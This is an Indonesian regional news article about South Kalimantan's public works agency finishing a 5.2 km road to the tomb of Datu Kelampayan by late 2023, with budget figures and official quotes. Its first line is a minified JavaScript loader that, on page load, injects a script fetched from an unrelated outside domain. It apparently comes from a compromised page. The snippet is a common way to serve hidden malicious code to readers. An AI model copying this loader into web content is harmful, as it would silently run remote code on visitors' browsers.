(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

PUPR Kalsel Targetkan Jalan ke Kelampayan Selesai di Akhir 2023

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan (Kalsel) terus melakukan pembangunan jalan baru yang dimaksudkan guna mempermudah masyarakat.

Melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel di antaranya mempercepat pembangunan jalan akses baru ke makam Syekh Muhammad Arsyad Al-Banjari atau Datu Kalampayan.

Kepala Dinas PUPR Kalsel, Ir Ahmad Solhan ST, MT melalui Kabid Bina Marga Azan Syariful Muaz mengatakan Jalan baru menuju makam Datu Kelampayan ini berjarak 5,2 kilometer.

Sampai saat ini, pengerjaan akses baru sudah teraspal 3,9 km.

“Masih ada sisa yang belum teraspal yakni 1,3 kilometer,” ucap Azan Jumat (3/11/2023).

Menurut dia, sisa jalan itu akan dianggarkan pada anggaran perubahan pada tahun 2023.

“Jadi kita targetkan pekerjaan rampung di akhir tahun 2023 nanti. Semoga tidak ada kendala di lapangan jadi bisa sesuai target,” harap dia.

Selain itu, pengerjaan jalan ini dikerjakan dengan sistem tahun jamak atau multiyears, untuk menuntaskan jalan ini, pemerintah menganggarkan dana sebesar Rp 25 miliar.

“Tahun kemarin sudah Rp 25 miliar, jadi totalnya Rp 50 miliar,” sebut dia.

Dia berharap dengan selesainya jalan ini, dapat mengurai kemacetan jika ada acara-acara besar di Banjarbaru maupun di Martapura.

“Seperti Haul Guru Sekumpul dan kegiatan besar lainnya. Semoga pembangunan ini bermanfaat bagi masyarakat Banua,” pungkas dia.

Untuk informasi, akses baru ini melintasi enam desa di Kabupaten Banjar, yakni Desa Sungai Kitano, Akar Baru, Akar Bagantung, Munggu Raya, Dalam Pagar Ulu dan Kelampayan Tengah. (Kanalkalimantan.com/MCKalsel/kk)

Reporter: kk
Editor: Dhani